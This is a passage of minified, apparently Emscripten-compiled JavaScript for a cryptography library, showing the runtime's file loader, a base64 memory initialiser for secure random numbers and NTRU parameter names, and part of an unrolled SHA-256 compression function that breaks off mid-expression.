                            var I = new XMLHttpRequest;
                            return I.open("GET", A, !1), I.send(null), I.responseText
                        } catch (I) {
                            var g = DA(A);
                            if (g) return cA(g);
                            throw I
                        }
                    }, E && (o = function(A) {
                        try {
                            var I = new XMLHttpRequest;
                            return I.open("GET", A, !1), I.responseType = "arraybuffer", I.send(null), new Uint8Array(I.response)
                        } catch (I) {
                            var g = DA(A);
                            if (g) return g;
                            throw I
                        }
                    }), function(A, I, g) {
                        var B = new XMLHttpRequest;
                        B.open("GET", A, !0), B.responseType = "arraybuffer", B.onload = function() {
                            if (200 == B.status || 0 == B.status && B.response) I(B.response);
                            else {
                                var Q = DA(A);
                                Q ? I(Q.buffer) : g()
                            }
                        }, B.onerror = g, B.send(null)
                    });
                    var t, f = I.print || console.log.bind(console),
                        D = I.printErr || console.warn.bind(console);
                    for (A in g) g.hasOwnProperty(A) && (I[A] = g[A]);
                    g = null, I.arguments && (B = I.arguments), I.thisProgram && I.thisProgram, I.quit && I.quit, I.wasmBinary && (t = I.wasmBinary), I.noExitRuntime && I.noExitRuntime;
                    var y, d = {
                        Memory: function(A) {
                            return {
                                buffer: new ArrayBuffer(65536 * A.initial),
                                grow: function(A) {
                                    return FA(A)
                                }
                            }
                        },
                        Table: function(A) {
                            var I = new Array(A.initial);
                            return I.grow = function(A) {
                                I.length >= 10 && _("Unable to grow wasm table. Use a higher value for RESERVED_FUNCTION_POINTERS or set ALLOW_TABLE_GROWTH."), I.push(null)
                            }, I.set = function(A, g) {
                                I[A] = g
                            }, I.get = function(A) {
                                return I[A]
                            }, I
                        },
                        Module: function(A) {
                            return {}
                        },
                        Instance: function(A, I) {
                            return {
                                exports: function(A, I, g) {
                                    for (var B = new Uint8Array(123), Q = 25; Q >= 0; --Q) B[48 + Q] = 52 + Q, B[65 + Q] = Q, B[97 + Q] = 26 + Q;
            
                                    function E(A, I, g) {
                                        for (var Q, E, i = 0, C = I, n = g.length, o = I + (3 * n >> 2) - ("=" == g[n - 2]) - ("=" == g[n - 1]); i < n; i += 4) Q = B[g.charCodeAt(i + 1)], E = B[g.charCodeAt(i + 2)], A[C++] = B[g.charCodeAt(i)] << 2 | Q >> 4, C < o && (A[C++] = Q << 4 | E >> 2), C < o && (A[C++] = E << 6 | B[g.charCodeAt(i + 3)])
                                    }
                                    B[43] = 62, B[47] = 63;
                                    var i = new Uint8Array(I.buffer);
                                    return E(i, 1024, "InsgcmV0dXJuIE1vZHVsZS5nZXRSYW5kb21WYWx1ZSgpOyB9IgB7IGlmIChNb2R1bGUuZ2V0UmFuZG9tVmFsdWUgPT09IHVuZGVmaW5lZCkgeyB0cnkgeyB2YXIgd2luZG93XyA9ICdvYmplY3QnID09PSB0eXBlb2Ygd2luZG93ID8gd2luZG93IDogc2VsZjsgdmFyIGNyeXB0b18gPSB0eXBlb2Ygd2luZG93Xy5jcnlwdG8gIT09ICd1bmRlZmluZWQnID8gd2luZG93Xy5jcnlwdG8gOiB3aW5kb3dfLm1zQ3J5cHRvOyB2YXIgcmFuZG9tVmFsdWVzU3RhbmRhcmQgPSBmdW5jdGlvbigpIHsgdmFyIGJ1ZiA9IG5ldyBVaW50MzJBcnJheSgxKTsgY3J5cHRvXy5nZXRSYW5kb21WYWx1ZXMoYnVmKTsgcmV0dXJuIGJ1ZlswXSA+Pj4gMDsgfTsgcmFuZG9tVmFsdWVzU3RhbmRhcmQoKTsgTW9kdWxlLmdldFJhbmRvbVZhbHVlID0gcmFuZG9tVmFsdWVzU3RhbmRhcmQ7IH0gY2F0Y2ggKGUpIHsgdHJ5IHsgdmFyIGNyeXB0byA9IHJlcXVpcmUoJ2NyeXB0bycpOyB2YXIgcmFuZG9tVmFsdWVOb2RlSlMgPSBmdW5jdGlvbigpIHsgdmFyIGJ1ZiA9IGNyeXB0b1sncmFuZG9tQnl0ZXMnXSg0KTsgcmV0dXJuIChidWZbMF0gPDwgMjQgfCBidWZbMV0gPDwgMTYgfCBidWZbMl0gPDwgOCB8IGJ1ZlszXSkgPj4+IDA7IH07IHJhbmRvbVZhbHVlTm9kZUpTKCk7IE1vZHVsZS5nZXRSYW5kb21WYWx1ZSA9IHJhbmRvbVZhbHVlTm9kZUpTOyB9IGNhdGNoIChlKSB7IHRocm93ICdObyBzZWN1cmUgcmFuZG9tIG51bWJlciBnZW5lcmF0b3IgZm91bmQnOyB9IH0gfSB9"), E(i, 1792, "AQBAABQAAAABAAAAAgAAAAMAAAAEAAAAAgBAACAAAAAFAAAABgAAAAcAAAAIAAAAAAAAAQEBAgIAAQIAAQIAAWVlczQwMWVwMQBlZXM0NDllcDEAZWVzNjc3ZXAxAGVlczEwODdlcDIAZWVzNTQxZXAxAGVlczYxM2VwMQBlZXM4ODdlcDEAZWVzMTE3MWVwMQBlZXM2NTllcDEAZWVzNzYxZXAxAGVlczEwODdlcDEAZWVzMTQ5OWVwMQBlZXM0MDFlcDIAZWVzNDM5ZXAxAGVlczU5M2VwMQBlZXM3NDNlcDEAZWVzNDQzZXAxAGVlczU4N2VwMQ=="), E(i, 2052, "QAcAAAACBCIJAJEBDgAOAAAICwBxAAAAhQA8AHEA1QcLASkHAQAAAAEAAABKBwAAAAMDIwkAwQEQABAAAAgLAIYAAACVAEMAhgDBAQkBLwgBAAAAAgAAAFQHAAAABQMkCgClAhgAGAAACAsAnQAAAOEAZQCdAO8HCwEgCAIAAAADAAAAXgcAAAAGAyULAD8EIAAgAAAICwB4AAAAagGqAHgAuR0NARsLAgAAAAQAAABpBwAAAAIFJgoAHQIOAA4AAAgLADEAAAC0AFYAMQDLDgwBEAkBAAAABQAAAHMHAAAAAwQnCgBlAhAAEAAACAsANwAAAMwAYQA3AC8HCwESCgEAAAAGAAAAfQcAAAAFBCgKAHcDGAAYAAAICwBRAAAAJwGNAFEAdwMKARAJAgAAAAcAAACHBwAAAAYEKQsAkwQgACAAAAgLAGoAAACGAboAagC5DQwBGQwCAAAACAAAAJIHAAAAAgYqCgCTAg4ADgAACAsAJgAAANsAbAAmALkHCwELCgEAAAAJAAAAnAcAAAADBSsKAPkCEAAQAAAICwAqAAAA/QB9ACoA3Q4MAQ4MAQAAAAoAAACmBwAAAAUFLAsAPwQYABgAAAgLAD8AAABqAbIAPwC5HQ0BDgsCAAAACwAAALEHAAAABgUtCwDbBSAAIAAACAsATwAAAPMB9wBPAEcdDQESDgIAAAAMAAAAvAcAAAACEC4JAJEBDgAOAAAICwEICAYAhQA8AGUA1QcLAQcHAQAAAA0AAADGBwAAAAMQLwkAtwEQABAAAAgLAQkIBQCSAEEAcAC3AQkBCAgBAAAADgAAANAHAAAABRAwCgBRAhgAGAAACAsBCgoIAMUAVgCeAPMGCwEJBwIAAAAPAAAA2gcAAAAGEDEKAOcCIAAgAAAICwELCw8A9wBqAMwA7R8NAQkJAgAAABAAAADkBwAAAAMRMgkAuwEQACAAAAgLAQkIBQCUADEAcwC7AQkBBQUCAAAAEQAAAO4HAAAABREzCgBLAhgAIAAACAsBCgoIAMQATACdAOEGCwEHBwI="),
                                        function(A, I, B) {
                                            I.memory;
                                            var Q = g,
                                                E = new A.Int8Array(B),
                                                i = new A.Int16Array(B),
                                                C = new A.Int32Array(B),
                                                n = new A.Uint8Array(B),
                                                o = new A.Uint16Array(B),
                                                r = new A.Uint32Array(B),
                                                a = (new A.Float32Array(B), new A.Float64Array(B), A.Math.imul),
                                                e = (A.Math.fround, A.Math.abs, A.Math.clz32, A.Math.min, A.Math.max, A.Math.floor, A.Math.ceil, A.Math.sqrt, I.abort),
                                                c = (A.NaN, A.Infinity, I.emscripten_asm_const_iii),
                                                t = I.emscripten_memcpy_big,
                                                f = I.emscripten_resize_heap,
                                                D = 8392176;
            
                                            function y(A, I) {
                                                var g, B, Q, E, i, n, o, r, a, e, c, t, f, D, y, d, s, F, N, u, k, w, G, R, H, h, M, q, l, S, p, U, b, L = 0,
                                                    J = 0,
                                                    Y = 0,
                                                    m = 0,
                                                    X = 0,
                                                    z = 0,
                                                    x = 0,
                                                    v = 0,
                                                    W = 0,
                                                    Z = 0,
                                                    V = 0,
                                                    K = 0,
                                                    O = 0,
                                                    _ = 0,
                                                    j = 0,
                                                    T = 0,
                                                    P = 0,
                                                    $ = 0,
                                                    AA = 0,
                                                    IA = 0,
                                                    gA = 0,
                                                    BA = 0,
                                                    QA = 0,
                                                    EA = 0,
                                                    iA = 0,
                                                    CA = 0,
                                                    nA = 0,
                                                    oA = 0,
                                                    rA = 0,
                                                    aA = 0,
                                                    cA = 0,
                                                    tA = 0,
                                                    fA = 0,
                                                    DA = 0,
                                                    yA = 0,
                                                    dA = 0,
                                                    sA = 0;
                                                $ = (L = C[A + 56 >> 2]) + (eA(Y = C[A + 60 >> 2], 14) ^ Y >>> 3 ^ eA(Y, 25)) | 0, m = (J = ((gA = C[A + 36 >> 2]) + ((iA = C[A >> 2]) + (eA(W = C[A + 4 >> 2], 14) ^ W >>> 3 ^ eA(W, 25)) | 0) | 0) + (eA(L, 13) ^ L >>> 10 ^ eA(L, 15)) | 0) + ((EA = C[A + 28 >> 2]) + (eA(yA = C[A + 32 >> 2], 14) ^ yA >>> 3 ^ eA(yA, 25)) | 0) | 0, X = L + ((T = C[A + 20 >> 2]) + (eA(AA = C[A + 24 >> 2], 14) ^ AA >>> 3 ^ eA(AA, 25)) | 0) | 0, z = (cA = C[A + 48 >> 2]) + ((QA = C[A + 12 >> 2]) + (eA(P = C[A + 16 >> 2], 14) ^ P >>> 3 ^ eA(P, 25)) | 0) | 0, x = m, v = X, m = ((tA = C[A + 40 >> 2]) + (W + (eA(Z = C[A + 8 >> 2], 14) ^ Z >>> 3 ^ eA(Z, 25)) | 0) | 0) + (eA(Y, 13) ^ Y >>> 10 ^ eA(Y, 15)) | 0, X = (eA(m, 13) ^ m >>> 10 ^ eA(m, 15)) + z | 0, z = v + (eA(X, 13) ^ X >>> 10 ^ eA(X, 15)) | 0, v = x + (eA(z, 13) ^ z >>> 10 ^ eA(z, 15)) | 0, x = z + (cA + (eA(F = C[A + 52 >> 2], 14) ^ F >>> 3 ^ eA(F, 25)) | 0) | 0, A = X + (tA + (eA(fA = C[A + 44 >> 2], 14) ^ fA >>> 3 ^ eA(fA, 25)) | 0) | 0, V = m + (yA + (eA(gA, 14) ^ gA >>> 3 ^ eA(gA, 25)) | 0) | 0, _ = Y + (AA + (eA(EA, 14) ^ EA >>> 3 ^ eA(EA, 25)) | 0) | 0, K = (P + (eA(T, 14) ^ T >>> 3 ^ eA(T, 25)) | 0) + F | 0, O = (fA + (Z + (eA(QA, 14) ^ QA >>> 3 ^ eA(QA, 25)) | 0) | 0) + (eA(J, 13) ^ J >>> 10 ^ eA(J, 15)) | 0, K = K + (eA(O, 13) ^ O >>> 10 ^ eA(O, 15)) | 0, _ = _ + (eA(K, 13) ^ K >>> 10 ^ eA(K, 15)) | 0, j = V + (eA(_, 13) ^ _ >>> 10 ^ eA(_, 15)) | 0, IA = A + (eA(j, 13) ^ j >>> 10 ^ eA(j, 15)) | 0, nA = x + (eA(IA, 13) ^ IA >>> 10 ^ eA(IA, 15)) | 0, g = (v + $ | 0) + (eA(nA, 13) ^ nA >>> 10 ^ eA(nA, 15)) | 0, $ = eA(g, 14) ^ g >>> 3 ^ eA(g, 25), A = _ + ((eA(L, 14) ^ L >>> 3 ^ eA(L, 25)) + F | 0) | 0, x = K + (fA + (eA(cA, 14) ^ cA >>> 3 ^ eA(cA, 25)) | 0) | 0, oA = (O + (gA + (eA(tA, 14) ^ tA >>> 3 ^ eA(tA, 25)) | 0) | 0) + (eA(v, 13) ^ v >>> 10 ^ eA(v, 15)) | 0, B = x + (eA(oA, 13) ^ oA >>> 10 ^ eA(oA, 15)) | 0, A = A + (eA(B, 13) ^ B >>> 10 ^ eA(B, 15)) | 0, x = (Q = (j + (Y + (eA(J, 14) ^ J >>> 3 ^ eA(J, 25)) | 0) | 0) + (eA(A, 13) ^ A >>> 10 ^ eA(A, 15)) | 0) + (_ + (eA(v, 14) ^ v >>> 3 ^ eA(v, 25)) | 0) | 0, V = (K + (eA(z, 14) ^ z >>> 3 ^ eA(z, 25)) | 0) + A | 0, BA = (O + (eA(X, 14) ^ X >>> 3 ^ eA(X, 25)) | 0) + B | 0, E = ((J + (eA(m, 14) ^ m >>> 3 ^ eA(m, 25)) | 0) + oA | 0) + (eA(g, 13) ^ g >>> 10 ^ eA(g, 15)) | 0, i = BA + (eA(E, 13) ^ E >>> 10 ^ eA(E, 15)) | 0, n = V + (eA(i, 13) ^ i >>> 10 ^ eA(i, 15)) | 0, o = x + (eA(n, 13) ^ n >>> 10 ^ eA(n, 15)) | 0, x = ((eA(nA, 14) ^ nA >>> 3 ^ eA(nA, 25)) + B | 0) + n | 0, V = ((eA(IA, 14) ^ IA >>> 3 ^ eA(IA, 25)) + oA | 0) + i | 0, BA = (v + (eA(j, 14) ^ j >>> 3 ^ eA(j, 25)) | 0) + E | 0, rA = g + (z + (eA(_, 14) ^ _ >>> 3 ^ eA(_, 25)) | 0) | 0, aA = nA + (X + (eA(K, 14) ^ K >>> 3 ^ eA(K, 25)) | 0) | 0, r = (IA + (m + (eA(O, 14) ^ O >>> 3 ^ eA(O, 25)) | 0) | 0) + (eA(Q, 13) ^ Q >>> 10 ^ eA(Q, 15)) | 0, aA = aA + (eA(r, 13) ^ r >>> 10 ^ eA(r, 15)) | 0, rA = rA + (eA(aA, 13) ^ aA >>> 10 ^ eA(aA, 15)) | 0, a = BA + (eA(rA, 13) ^ rA >>> 10 ^ eA(rA, 15)) | 0, e = V + (eA(a, 13) ^ a >>> 10 ^ eA(a, 15)) | 0, c = x + (eA(e, 13) ^ e >>> 10 ^ eA(e, 15)) | 0, t = (o + (A + $ | 0) | 0) + (eA(c, 13) ^ c >>> 10 ^ eA(c, 15)) | 0, x = eA(t, 14) ^ t >>> 3 ^ eA(t, 25), V = (nA + (eA(A, 14) ^ A >>> 3 ^ eA(A, 25)) | 0) + rA | 0, $ = (IA + (eA(B, 14) ^ B >>> 3 ^ eA(B, 25)) | 0) + aA | 0, f = ((j + (eA(oA, 14) ^ oA >>> 3 ^ eA(oA, 25)) | 0) + r | 0) + (eA(o, 13) ^ o >>> 10 ^ eA(o, 15)) | 0, D = $ + (eA(f, 13) ^ f >>> 10 ^ eA(f, 15)) | 0, $ = V + (eA(D, 13) ^ D >>> 10 ^ eA(D, 15)) | 0, V = (y = ((g + (eA(Q, 14) ^ Q >>> 3 ^ eA(Q, 25)) | 0) + a | 0) + (eA($, 13) ^ $ >>> 10 ^ eA($, 15)) | 0) + ((eA(o, 14) ^ o >>> 3 ^ eA(o, 25)) + rA | 0) | 0, BA = ((eA(n, 14) ^ n >>> 3 ^ eA(n, 25)) + aA | 0) + $ | 0, CA = ((eA(i, 14) ^ i >>> 3 ^ eA(i, 25)) + r | 0) + D | 0, d = (((eA(E, 14) ^ E >>> 3 ^ eA(E, 25)) + Q | 0) + f | 0) + (eA(t, 13) ^ t >>> 10 ^ eA(t, 15)) | 0, N = CA + (eA(d, 13) ^ d >>> 10 ^ eA(d, 15)) | 0, u = BA + (eA(N, 13) ^ N >>> 10 ^ eA(N, 15)) | 0, k = V + (eA(u, 13) ^ u >>> 10 ^ eA(u, 15)) | 0, V = ((eA(c, 14) ^ c >>> 3 ^ eA(c, 25)) + D | 0) + u | 0, BA = ((eA(e, 14) ^ e >>> 3 ^ eA(e, 25)) + f | 0) + N | 0, CA = ((eA(a, 14) ^ a >>> 3 ^ eA(a, 25)) + o | 0) + d | 0, DA = ((eA(rA, 14) ^ rA >>> 3 ^ eA(rA, 25)) + n | 0) + t | 0, dA = ((eA(aA, 14) ^ aA >>> 3 ^ eA(aA, 25)) + i | 0) + c | 0, s = (((eA(r, 14) ^ r >>> 3 ^ eA(r, 25)) + E | 0) + e | 0) + (eA(y, 13) ^ y >>> 10 ^ eA(y, 15)) | 0, dA = dA + (eA(s, 13) ^ s >>> 10 ^ eA(s, 15)) | 0, w = DA + (eA(dA, 13) ^ dA >>> 10 ^ eA(dA, 15)) | 0, G = CA + (eA(w, 13) ^ w >>> 10 ^ eA(w, 15)) | 0, R = BA + (eA(G, 13) ^ G >>> 10 ^ eA(G, 15)) | 0, M = V + (eA(R, 13) ^ R >>> 10 ^ eA(R, 15)) | 0, q = (k + (x + $ | 0) | 0) + (eA(M, 13) ^ M >>> 10 ^ eA(M, 15)) | 0, x = (x = iA) + ((p = C[I + 28 >> 2]) + (eA(iA = C[I + 16 >> 2], 26) ^ eA(iA, 21) ^ eA(iA, 7)) | 0) | 0, V = eA(x = (U = C[I + 12 >> 2]) + (DA = 1116352408 + (((l = C[I + 24 >> 2]) ^ iA & (l ^ (H = C[I + 20 >> 2]))) + x | 0) | 0) | 0, 26) ^ eA(x, 21), CA = 1899447441 + (((W + l | 0) + (x & (iA ^ H) ^ H) | 0) + (eA(x, 7) ^ V) | 0) | 0, V = eA(W = CA + (S = C[I + 8 >> 2]) | 0, 26) ^ eA(W, 21), BA = (((Z + H | 0) + (iA ^ W & (x ^ iA)) | 0) + (eA(W, 7) ^ V) | 0) - 1245643825 | 0, V = eA(Z = BA + (h = C[I + 4 >> 2]) | 0, 26) ^ eA(Z, 21), b = (((QA + iA | 0) + (x ^ Z & (x ^ W)) | 0) + (eA(Z, 7) ^ V) | 0) - 373957723 | 0, sA = eA(V = b + (QA = C[I >> 2]) | 0, 26) ^ eA(V, 21), sA = 961987163 + (((x + P | 0) + (W ^ V & (W ^ Z)) | 0) + (eA(V, 7) ^ sA) | 0) | 0, x = DA + (((QA | h) & S | QA & h) + (eA(QA, 30) ^ eA(QA, 19) ^ eA(QA, 10)) | 0) | 0, DA = eA(P = sA + x | 0, 26) ^ eA(P, 21), DA = 1508970993 + (((W + T | 0) + (Z ^ P & (Z ^ V)) | 0) + (eA(P, 7) ^ DA) | 0) | 0, W = CA + (((x | QA) & h | x & QA) + (eA(x, 30) ^ eA(x, 19) ^ eA(x, 10)) | 0) | 0, CA = eA(T = DA + W | 0, 26) ^ eA(T, 21), CA = (((Z + AA | 0) + (V ^ T & (V ^ P)) | 0) + (eA(T, 7) ^ CA) | 0) - 1841331548 | 0, Z = BA + ((QA & (x | W) | x & W) + (eA(W, 30) ^ eA(W, 19) ^ eA(W, 10)) | 0) | 0, BA = eA(AA = CA + Z | 0, 26) ^ eA(AA, 21), EA = (((V + EA | 0) + (P ^ AA & (T ^ P)) | 0) + (eA(AA, 7) ^ BA) | 0) - 1424204075 | 0, x = ((x & (W | Z) | W & Z) + (eA(Z, 30) ^ eA(Z, 19) ^ eA(Z, 10)) | 0) + b | 0, BA = eA(V = EA + x | 0, 26) ^ eA(V, 21), yA = (((P + yA | 0) + (T ^ V & (T ^ AA)) | 0) + (eA(V, 7) ^ BA) | 0) - 670586216 | 0, W = ((W & (x | Z) | x & Z) + (eA(x, 30) ^ eA(x, 19) ^ eA(x, 10)) | 0) + sA | 0, BA = eA(P = yA + W | 0, 26) ^ eA(P, 21), gA = 310598401 + (((T + gA | 0) + (AA ^ P & (V ^ AA)) | 0) + (eA(P, 7) ^ BA) | 0) | 0, Z = DA + ((Z & (x | W) | x & W) + (eA(W, 30) ^ eA(W, 19) ^ eA(W, 10)) | 0) | 0, BA = eA(T = gA + Z | 0, 26) ^ eA(T, 21), tA = 607225278 + (((AA + tA | 0) + (V ^ T & (V ^ P)) | 0) + (eA(T, 7) ^ BA) | 0) | 0, x = CA + ((x & (W | Z) | W & Z) + (eA(Z, 30) ^ eA(Z, 19) ^ eA(Z, 10)) | 0) | 0, CA = eA(AA = tA + x | 0, 26) ^ eA(AA, 21), fA = 1426881987 + (((V + fA | 0) + (P ^ AA & (T ^ P)) | 0) + (eA(AA, 7) ^ CA) | 0) | 0, W = EA + ((W & (x | Z) | x & Z) + (eA(x, 30) ^ eA(x, 19) ^ eA(x, 10)) | 0) | 0, EA = eA(V = fA + W | 0, 26) ^ eA(V, 21), cA = 1925078388 + (((P + cA | 0) + (T ^ V & (T ^ AA)) | 0) + (eA(V, 7) ^ EA) | 0) | 0, Z = yA + ((Z & (x | W) | x & W) + (eA(W, 30) ^ eA(W, 19) ^ eA(W, 10)) | 0) | 0, EA = eA(P = cA + Z | 0, 26) ^ eA(P, 21), EA = (((T + F | 0) + (AA ^ P & (V ^ AA)) | 0) + (eA(P, 7) ^ EA) | 0) - 2132889090 | 0, x = gA + ((x & (W | Z) | W & Z) + (eA(Z, 30) ^ eA(Z, 19) ^ eA(Z, 10)) | 0) | 0, gA = eA(T = EA + x | 0, 26) ^ eA(T, 21), AA = (((L + AA | 0) + (V ^ T & (V ^ P)) | 0) + (eA(T, 7) ^ gA) | 0) - 1680079193 | 0, L = tA + ((W & (x | Z) | x & Z) + (eA(x, 30) ^ eA(x, 19) ^ eA(x, 10)) | 0) | 0, gA = eA(W = AA + L | 0, 26) ^ eA(W, 21), V = (((Y + V | 0) + (P ^ W & (T ^ P)) | 0) + (eA(W, 7) ^ gA) | 0) - 1046744716 | 0, Y = fA + ((Z & (L | x) | L & x) + (eA(L, 30) ^ eA(L, 19) ^ eA(L, 10)) | 0) | 0, gA = eA(Z = V + Y | 0, 26) ^ eA(Z, 21), P = (((J + P | 0) + (T ^ Z & (W ^ T)) | 0) + (eA(Z, 7) ^ gA) | 0) - 459576895 | 0, J = cA + ((x & (L | Y) | L & Y) + (eA(Y, 30) ^ eA(Y, 19) ^ eA(Y, 10)) | 0) | 0, gA = eA(x = P + J | 0, 26) ^ eA(x, 21), T = (((m + T | 0) + (W ^ x & (W ^ Z)) | 0) + (eA(x, 7) ^ gA) | 0) - 272742522 | 0, L = EA + ((L & (J | Y) | J & Y) + (eA(J, 30) ^ eA(J, 19) ^ eA(J, 10)) | 0) | 0, gA = eA(m = T + L | 0, 26) ^ eA(m, 21), W = 264347078 + (((W + O | 0) + (Z ^ m & (x ^ Z)) | 0) + (eA(m, 7) ^ gA) | 0) | 0, Y = AA + ((Y & (L | J) | L & J) + (eA(L, 30) ^ eA(L, 19) ^ eA(L, 10)) | 0) | 0, AA = eA(O = W + Y | 0, 26) ^ eA(O, 21), Z = 604807628 + (((X + Z | 0) + (x ^ O & (m ^ x)) | 0) + (eA(O, 7) ^ AA) | 0) | 0, J = V + ((J & (L | Y) | L & Y) + (eA(Y, 30) ^ eA(Y, 19) ^ eA(Y, 10)) | 0) | 0, V = eA(X = Z + J | 0, 26) ^ eA(X, 21), x = 770255983 + (((x + K | 0) + (m ^ X & (m ^ O)) | 0) + (eA(X, 7) ^ V) | 0) | 0, L = P + ((L & (J | Y) | J & Y) + (eA(J, 30) ^ eA(J, 19) ^ eA(J, 10)) | 0) | 0, V = eA(K = x + L | 0, 26) ^ eA(K, 21), V = 1249150122 + (((m + z | 0) + (O ^ K & (X ^ O)) | 0) + (eA(K, 7) ^ V) | 0) | 0, Y = T + ((Y & (L | J) | L & J) + (eA(L, 30) ^ eA(L, 19) ^ eA(L, 10)) | 0) | 0, z = eA(m = V + Y | 0, 26) ^ eA(m, 21), O = 1555081692 + (((O + _ | 0) + (X ^ m & (X ^ K)) | 0) + (eA(m, 7) ^ z) | 0) | 0, J = W + ((J & (L | Y) | L & Y) + (eA(Y, 30) ^ eA(Y, 19) ^ eA(Y, 10)) | 0) | 0, _ = eA(z = O + J | 0, 26) ^ eA(z, 21), _ = 1996064986 + (((X + v | 0) + (K ^ z & (m ^ K)) | 0) + (eA(z, 7) ^ _) | 0) | 0, L = Z + ((L & (J | Y) | J & Y) + (eA(J, 30) ^ eA(J, 19) ^ eA(J, 10)) | 0) | 0, v = eA(X = _ + L | 0, 26) ^ eA(X, 21), K = (((K + j | 0) + (m ^ X & (m ^ z)) | 0) + (eA(X, 7) ^ v) | 0) - 1740746414 | 0, Y = x + ((Y & (L | J) | L & J) + (eA(L, 30) ^ eA(L, 19) ^ eA(L, 10)) | 0) | 0, j = eA(v = K + Y | 0, 26) ^ eA(v, 21), j = (((m + oA | 0) + (z ^ v & (X ^ z)) | 0) + (eA(v, 7) ^ j) | 0) - 1473132947 | 0, J = V + ((J & (L | Y) | L & Y) + (eA(Y, 30) ^ eA(Y, 19) ^ eA(Y, 10)) | 0) | 0, oA = eA(m = j + J | 0, 26) ^ eA(m, 21), IA = (((z + IA | 0) + (X ^ m & (X ^ v)) | 0) + (eA(m, 7) ^ oA) | 0) - 1341970488 | 0, L = O + ((L & (J | Y) | J & Y) + (eA(J, 30) ^ eA(J, 19) ^ eA(J, 10)) | 0) | 0, O = eA(z = IA + L | 0, 26) ^ eA(z, 21), O = (((X + B | 0) + (v ^ z & (m ^ v)) | 0) + (eA(z, 7) ^ O) | 0) - 1084653625 | 0, Y = _ + ((Y & (L | J) | L & J) + (eA(L, 30) ^ eA(L, 19) ^ eA(L, 10)) | 0) | 0, _ = eA(X = O + Y | 0, 26) ^ eA(X, 21), _ = (((v + nA | 0) + (m ^ X & (m ^ z)) | 0) + (eA(X, 7) ^ _) | 0) - 958395405 | 0, J = K + ((J & (L | Y) | L & Y) + (eA(Y, 30) ^ eA(Y, 19) ^ eA(Y, 10)) | 0) | 0, K = eA(v = _ + J | 0, 26) ^ eA(v, 21), K = (((A + m | 0) + (z ^ v & (X ^ z)) | 0) + (eA(v, 7) ^ K) | 0) - 710438585 | 0, A = j + ((L & (J | Y) | J & Y) + (eA(J, 30) ^ eA(J, 19) ^ eA(J, 10)) | 0) | 0, L = eA(m = K + A | 0, 26) ^ eA(m, 21), j = 113926993 + (((z + g | 0) + (X ^ m & (X ^ v)) | 0) + (eA(m, 7) ^ L) | 0) | 0, L = IA + ((Y & (A | J) | A & J) + (eA(A, 30) ^ eA(A, 19) ^ eA(A, 10)) | 0) | 0, z = eA(Y = j + L | 0, 26) ^ eA(Y, 21), IA = 338241895 + (((X + Q | 0) + (v ^ Y & (m ^ v)) | 0) + (eA(Y, 7) ^ z) | 0) | 0, J = O + ((J & (A | L) | A & L) + (eA(L, 30) ^ eA(L, 19) ^ eA(L, 10)) | 0) | 0, z = eA(X = IA + J | 0, 26) ^ eA(X, 21), v = 666307205 + (((v + E | 0) + (m ^ X & (Y ^ m)) | 0) + (eA(X, 7) ^ z) | 0) | 0, A = _ + ((A & (L | J) | L & J) + (eA(J, 30) ^ eA(J, 19) ^ eA(J, 10)) | 0) | 0, O = eA(z = v + A | 0, 26) ^ eA(z, 21), O = 773529912 + (((m + r | 0) + (Y ^ z & (Y ^ X)) | 0) + (eA(z, 7) ^ O) | 0) | 0, L = K + ((L & (A | J) | A & J) + (eA(A, 30) ^ eA(A, 19) ^ eA(A, 10)) | 0) | 0, K = eA(m = O + L | 0, 26) ^ eA(m, 21), K = 1294757372 + (((Y + i | 0) + (X ^ m & (X ^ z)) | 0) + (eA(m, 7) ^ K) | 0) | 0, J = j + ((J & (A | L) | A & L) + (eA(L, 30) ^ eA(L, 19) ^ eA(L, 10)) | 0) | 0, _ = eA(Y = K + J | 0, 26) ^ eA(Y, 21), _ = 1396182291 + (((X + aA | 0) + (z ^ Y & (m ^ z)) | 0) + (eA(Y, 7) ^ _) | 0) | 0, A = IA + ((A & (L | J) | L & J) + (eA(J, 30) ^ eA(J, 19) ^ eA(J, 10)) | 0) | 0, j = eA(X = _ + A | 0, 26) ^ eA(X, 21), j = 1695183700 + (((z + n | 0) + (m ^ X & (Y ^ m)) | 0) + (eA(X, 7) ^ j) | 0) | 0, L = v + ((L & (A | J) | A & J) + (eA(A, 30) ^ eA(A, 19) ^ eA(A, 10)) | 0) | 0, v = eA(z = j + L | 0, 26) ^ eA(z, 21), v = 1986661051 + (((m + rA | 0) + (Y ^ z & (Y ^ X)) | 0) + (eA(z, 7) ^ v) | 0) | 0, J = O + ((J & (A | L) | A & L) + (eA(L, 30) ^ eA(L, 19) ^ eA(L, 10)) | 0) | 0, O = eA(m = v + J | 0, 26) ^ eA(m, 21), O = (((Y + o | 0) + (X ^ m & (X ^ z)) | 0) + (eA(m, 7) ^ O) | 0) - 2117940946 | 0, A = K + ((A & (L | J) | L & J) + (eA(J, 30) ^ eA(J, 19) ^ eA(J, 10)) | 0) | 0, K = eA(Y = O + A | 0, 26) ^ eA(Y, 21), K = (((X + a | 0) + (z ^ Y & (m ^ z)) | 0) + (eA(Y, 7) ^ K) | 0) - 1838011259 | 0, L = _ + ((L & (A | J) | A & J) + (eA(A, 30) ^ eA(A, 19) ^ eA(A, 10)) | 0) | 0, _ = eA(X = K + L | 0, 26) ^ eA(X, 21), _ = (((z + f | 0) + (m ^ X & (Y ^ m)) | 0) + (eA(X, 7) ^ _) | 0) - 1564481375 | 0, J = j + ((J & (A | L) | A & L) + (eA(L, 30) ^ eA(L, 19) ^ eA(L, 10)) | 0) | 0, j = eA(z = _ + J | 0, 26) ^ eA(z, 21), j = (((m + e | 0) + (Y ^ z & (Y ^ X)) | 0) + (eA(z, 7) ^ j) | 0) - 1474664885 | 0, A = v + ((A & (L | J) | L & J) + (eA(J, 30) ^ eA(J, 19) ^ eA(J, 10)) | 0) | 0, v = eA(m = j + A | 0, 26) ^ eA(m, 21), v = (((Y + D | 0) + (X ^ m & (X ^ z)) | 0) + (eA(m, 7) ^ v) | 0) - 1035236496 | 0, L = O + ((L & (A | J) | A & J) + (eA(A, 30) ^ eA(A, 19) ^ eA(A, 10)) | 0) | 0, O = eA(Y = v + L | 0, 26) ^ eA(Y, 21), O = (((X + c | 0) + (z ^ Y & (m ^ z)) | 0) + (eA(Y, 7) ^ O) | 0) - 949202525 | 0, J = K + ((J & (A | L) | A & L) + (eA(L, 30) ^ eA(L, 19) ^ eA(L, 10)) | 0) | 0, K = eA(X = O + J | 0, 26) ^ eA(X, 21), K = (((z + $ | 0) + (m ^ X & (Y ^ m)) | 0) + (eA(X, 7) ^ K) | 0) - 778901479 | 0, A = _ + ((A & (L | J) | 